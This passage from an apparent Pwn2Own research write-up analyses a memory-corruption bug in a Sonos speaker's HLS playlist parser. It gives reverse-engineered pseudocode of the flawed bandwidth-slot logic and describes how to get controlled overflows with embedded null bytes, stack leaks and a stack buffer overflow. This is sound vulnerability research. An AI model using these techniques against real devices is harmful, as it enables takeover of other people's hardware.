&lt;h2 id=&quot;hls-streaming&quot;&gt;HLS Streaming&lt;/h2&gt;

&lt;p&gt;The specific vulnerability we ended up exploiting resided in the HLS streaming protocol.
HLS (HTTP Live Streaming) is a protocol developed by Apple, described in &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8216&quot;&gt;RFC 8216&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The basic concept is to break up media into smaller segments, with clients downloading each segment one at a time as they become needed. For example,
each segment might contain 10 seconds of an audio track.&lt;/p&gt;

&lt;p&gt;Another major feature of HLS is adaptive-bitrate streaming, where the media stream can be encoded in a variety of different bitrates / qualities, with lower bitrate versions of the stream requiring less bandwidth.
Clients can then dynamically switch between bitrates depending on the connection speed.&lt;/p&gt;

&lt;p&gt;A client obtains the list of these segments / streams / metadata by initially downloading a top-level “extended M3U” playlist file, which has file extension &lt;code class=&quot;highlighter-rouge&quot;&gt;.m3u&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;.m3u8&lt;/code&gt;.
These are newline-delimited plaintext files, where metadata “tags” are on lines starting with &lt;code class=&quot;highlighter-rouge&quot;&gt;#&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To clarify the context we are in, our attack will consist of giving the Sonos the URL of an M3U playlist to stream, which it will download from our controlled HTTP server.&lt;/p&gt;

&lt;h2 id=&quot;hls-variant-streams&quot;&gt;HLS Variant Streams&lt;/h2&gt;

&lt;p&gt;The variant streams with various bitrates are denoted in the playlist file with &lt;code class=&quot;highlighter-rouge&quot;&gt;#EXT-X-STREAM-INF&lt;/code&gt; tags like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;#EXT-X-STREAM-INF:&amp;lt;comma-separated-attribute-list&amp;gt;
&amp;lt;URI&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The most relevant attribute for us is &lt;code class=&quot;highlighter-rouge&quot;&gt;BANDWIDTH=&amp;lt;integer&amp;gt;&lt;/code&gt;, indicating the bitrate / bandwidth for this variant stream. Normally, the URI on the second line would point to a separate M3U playlist solely for the individual stream.&lt;/p&gt;

&lt;p&gt;Within &lt;code class=&quot;highlighter-rouge&quot;&gt;anacapad&lt;/code&gt;, the top-level playlist is parsed into an &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; structure shown below (names are our own). This contains an array for up to 16 unique bandwidths, with each bandwidth having up to 4 streams. Note that this array is zero-initialized at the start of playlist parsing.&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// sub-struct for specific bandwidth, container struct below has 16 of these&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;BREntry&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; bandwidth;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;BREntry&lt;/span&gt;::Stream &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;streams&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;4&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; nstreams;&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;BREntry&lt;/span&gt;::&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Stream&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;uri&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;8193&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;codec&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;33&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;progid&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;33&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;audio&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;33&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; bandwidth;&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// larger container HLSPlayList structure&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;struct&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; ...&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::BREntry &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;16&lt;/span&gt;];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt; nbrentries;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; // number of populated entries in preceding array&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; br_idx;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;// index of entry for current bitrate (i.e. normally 0-15)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; stream_idx;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt; &amp;nbsp;// index of stream within entry (i.e. normally 0-3)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; ...&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
When the playlist parser encounters a &lt;code class=&quot;highlighter-rouge&quot;&gt;#EXT-X-STREAM-INF&lt;/code&gt; tag, it calls &lt;code class=&quot;highlighter-rouge&quot;&gt;storeStream&lt;/code&gt;, which performs the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;parses the attribute list into a temporary &lt;code class=&quot;highlighter-rouge&quot;&gt;Stream&lt;/code&gt; on the stack&lt;/li&gt;
  &lt;li&gt;calls helper function &lt;code class=&quot;highlighter-rouge&quot;&gt;reserve_bandwidth_entry(playlist, bandwidth)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;if non-null, the return value is a reserved slot for the &lt;code class=&quot;highlighter-rouge&quot;&gt;Stream&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;if non-null, the stack temporary is copied into the reserved global array slot&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability arises when reserving bandwidth entries with abnormal inputs. Pseudocode for the operation is below:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;storeStream&lt;/span&gt;(HLSPlayList&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; pl, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; rgchStreamURI, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; &lt;span zeum4c1=&quot;PR_1_0&quot; data-ddnwab=&quot;PR_1_0&quot; aria-invalid=&quot;spelling&quot; class=&quot;LI ng&quot;&gt;streaminf&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // &lt;span zeum4c1=&quot;PR_2_0&quot; data-ddnwab=&quot;PR_2_0&quot; aria-invalid=&quot;spelling&quot; class=&quot;LI ng&quot;&gt;rgchStreamURI&lt;/span&gt; and &lt;span zeum4c1=&quot;PR_3_0&quot; data-ddnwab=&quot;PR_3_0&quot; aria-invalid=&quot;spelling&quot; class=&quot;LI ng&quot;&gt;streaminf&lt;/span&gt; (attributes list) will be parsed into this local&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;BREntry&lt;/span&gt;::Stream tmp_stream;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // ... parsing ...&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // reserve slot and copy&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;BREntry&lt;/span&gt;::Stream&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; dest &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;HLSPlayList&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;reserve_bandwidth_entry&lt;/span&gt;(pl, &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;tmp_stream&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bandwidth&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; ( dest )&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;memcpy&lt;/span&gt;(dest, &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;tmp_stream, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;sizeof&lt;/span&gt;(tmp_stream));&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;reserve_bandwidth_entry&lt;/span&gt;(HLSPlayList &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt;pl, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; bandwidth) {&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // Case 1: bandwidth already exists&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // search the array for a matching bandwidth&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // then reserve a stream slot if less than 4 streams already&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; ( &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;16&lt;/span&gt;; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;i ) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; ( &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bandwidth&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;==&lt;/span&gt; bandwidth ) {&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; // reserve slot if enough room...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; ( &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nstreams&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;4&lt;/span&gt; ) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; slot &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nstreams&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;streams&lt;/span&gt;[slot];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; // ...if not enough room, return null&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;NULL&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; }&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // Case 2: brand new bandwidth&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // search for an empty slot in the array of 16 BREntry&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;&amp;nbsp; // a slot is considered unused if its bandwidth is 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;for&lt;/span&gt; ( &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;; i &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;16&lt;/span&gt;; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;i ) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; ( &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bandwidth&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt; ) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nbrentries&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;bandwidth&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; bandwidth;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; slot &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;nstreams&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;++&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;pl&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;brentries&lt;/span&gt;[i].&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;streams&lt;/span&gt;[slot];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;NULL&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Consider what happens when this code executes if we specify &lt;code class=&quot;highlighter-rouge&quot;&gt;BANDWIDTH=0&lt;/code&gt;…&lt;/p&gt;

&lt;p&gt;First, it will check the array for a matching bandwidth, which &lt;em&gt;does in fact exist&lt;/em&gt;, considering the bandwidth values are initialized to zero.
A slot in this zero-bandwidth entry will be reserved, incrementing &lt;code class=&quot;highlighter-rouge&quot;&gt;nstreams&lt;/code&gt; to 1.
This puts the array entry in a “weird state” where one of the streams is populated, but the bandwidth of zero indicates the entry is unused.
We can add 3 more streams with zero bandwidth to further this state, incrementing &lt;code class=&quot;highlighter-rouge&quot;&gt;nstreams&lt;/code&gt; to its maximum of 4.&lt;/p&gt;

&lt;p&gt;Now, imagine we add a stream with non-zero bandwidth. No such bandwidth already exists in the array, so we’ll hit case 2 to populate a brand new entry.
This searches for an available slot in the array, where available is defined as a bandwidth of zero… This will find our “weird” entry that’s seemingly “unused” yet has &lt;code class=&quot;highlighter-rouge&quot;&gt;nstreams&lt;/code&gt; set to 4.&lt;/p&gt;

&lt;p&gt;What happens next is that the reserved slot will be for &lt;strong&gt;stream index 4, which is out-of-bounds&lt;/strong&gt;. &lt;em&gt;Notice that there is no bounds check for&lt;/em&gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;nstreams&lt;/code&gt; &lt;em&gt;in case 2, since an unused entry is assumed to be untouched from its zero-initialized state&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;After &lt;code class=&quot;highlighter-rouge&quot;&gt;reserve_bandwidth_entry&lt;/code&gt; returns the out-of-bounds stream slot, &lt;code class=&quot;highlighter-rouge&quot;&gt;storeStream&lt;/code&gt; proceeds to &lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy&lt;/code&gt; its local stream instance into the out-of-bounds memory.&lt;/p&gt;

&lt;p&gt;An illustration of what happens to the struct fields as the variant streams are parsed:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_band0.svg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_band0.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_band0.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;h2 id=&quot;controlling-the-overflow---null-bytes&quot;&gt;Controlling the Overflow - Null Bytes&lt;/h2&gt;

&lt;p&gt;The primitive we gain is corrupting memory adjacent to a &lt;code class=&quot;highlighter-rouge&quot;&gt;BREntry&lt;/code&gt; structure. The current entry’s &lt;code class=&quot;highlighter-rouge&quot;&gt;nstreams&lt;/code&gt; will always be corrupted, followed by whatever is after the &lt;code class=&quot;highlighter-rouge&quot;&gt;BREntry&lt;/code&gt;.
Recall that this is within an array of 16 &lt;code class=&quot;highlighter-rouge&quot;&gt;BREntry&lt;/code&gt; structures, so triggering the overflow from entries of index 0 to 14 will only corrupt the next &lt;code class=&quot;highlighter-rouge&quot;&gt;BREntry&lt;/code&gt;, which is relatively useless (since we’d only corrupt the &lt;code class=&quot;highlighter-rouge&quot;&gt;bandwidth&lt;/code&gt; field and the string fields of the first &lt;code class=&quot;highlighter-rouge&quot;&gt;Stream&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;However, padding the array with 15 filler bandwidth entries, then triggering the overflow, we’ll be able to corrupt whatever fields come afterwards in the larger &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; container structure (note that the structure is large enough that the overflow can not hit adjacent allocations).&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_soho24_sonos_overflow_fields.svg&quot; data-lightbox=&quot;pwn2own_soho24_sonos_overflow_fields.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_soho24_sonos_overflow_fields.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;Before we look into how we can leverage some of these fields, we need to understand if our overflow has any constraints (namely, if we can embed null bytes or not).&lt;/p&gt;

&lt;p&gt;If we look back at the &lt;code class=&quot;highlighter-rouge&quot;&gt;Stream&lt;/code&gt; structure, the majority is the first field, a &lt;code class=&quot;highlighter-rouge&quot;&gt;char[8193]&lt;/code&gt; for the stream’s URI. This comes from the second line of the variant stream definition (after the &lt;code class=&quot;highlighter-rouge&quot;&gt;#EXT-X-STREAM-INF&lt;/code&gt; line), meaning we control it. However, being a string, null bytes are naturally not an option (technically, since the playlist file is newline-delimited, newline/carriage-return characters are also not an option).&lt;/p&gt;

&lt;p&gt;This is where we can take advantage of how the code is written. Recall that the &lt;code class=&quot;highlighter-rouge&quot;&gt;Stream&lt;/code&gt; structure is parsed into a temporary local on the stack, after which it gets copied into a slot in the heap-structure’s &lt;code class=&quot;highlighter-rouge&quot;&gt;brentries&lt;/code&gt; array. Initialization of this temporary local only nulls out the first byte of each character array field (as opposed to &lt;code class=&quot;highlighter-rouge&quot;&gt;memset&lt;/code&gt;-ing the entire thing). In other words, &lt;em&gt;the contents copied onto the heap can contain uninitialized stack memory&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;This has two significant consequences:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;We can embed null bytes by placing nulls during previous iterations with successively shorter strings
    &lt;ul&gt;
      &lt;li&gt;for bandwidth entries that already have 4 streams, the stream is ignored, so we can utilize as many “setup” iterations as we need&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The uninitialized stack contents copied onto the heap may contain useful values (e.g. code/stack pointers, the stack cookie) that we’ll want to leak later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using the successively-shorter-strings technique, we can setup arbitrary payloads for the overflow containing nulls.&lt;/p&gt;

&lt;h2 id=&quot;inducing-a-stack-bof&quot;&gt;Inducing a Stack BOF&lt;/h2&gt;

&lt;p&gt;With a precisely-controlled overflow, we now want to look for fields in &lt;code class=&quot;highlighter-rouge&quot;&gt;HLSPlayList&lt;/code&gt; that we can corrupt with useful consequences.
As we continued reversing the playlist parsing logic, we arrived at an interesting post-processing step for pruning certain streams.&lt;/p&gt;

&lt;p&gt;Variant streams can specify an attribute with a list of codecs i.e. &lt;code class=&quot;highlighter-rouge&quot;&gt;CODEC=&quot;&amp;lt;codec1&amp;gt;,&amp;lt;codec2&amp;gt;,...&quot;&lt;/code&gt;. If both ALAC and EC-3 codecs were used by variant streams within the playlist,
this post-processing step is invoked to remove any streams where the first codec in this list is ALAC.&lt;/p&gt;

&lt;p&gt;We’ll call the post-processing function &lt;code class=&quot;highlighter-rouge&quot;&gt;remove_alac_streams&lt;/code&gt;. It performs the filtering by iterating over the streams within the &lt;code class=&quot;highlighter-rouge&quot;&gt;brentries&lt;/code&gt; array and copying any non-ALAC streams into a temporary stack array.
Afterwards, it copies the entire stack temporary back onto the heap &lt;code class=&quot;highlighter-rouge&quot;&gt;brentries&lt;/code&gt; array.&lt;/p&gt;

&lt;p&gt;Given the vulnerability, the issue becomes that the &lt;strong&gt;&lt;em&gt;loop iterations are based on corrupted values&lt;/em&gt;&lt;/strong&gt; like &lt;code class=&quot;highlighter-rouge&quot;&gt;nstreams&lt;/code&gt;.
If &lt;code class=&quot;highlighter-rouge&quot;&gt;nstreams&lt;/code&gt; is larger than the intended maximum of 4, this copy-loop may copy into out-of-bounds stream slots on the stack, resulting in a stack buffer overflow.
Assuming we had leaks, this would be a path to a simple win by overwriting a saved link register.&lt;/p&gt;

&lt;p&gt;For completeness, pseudocode of this function is shown here:&lt;/p&gt;

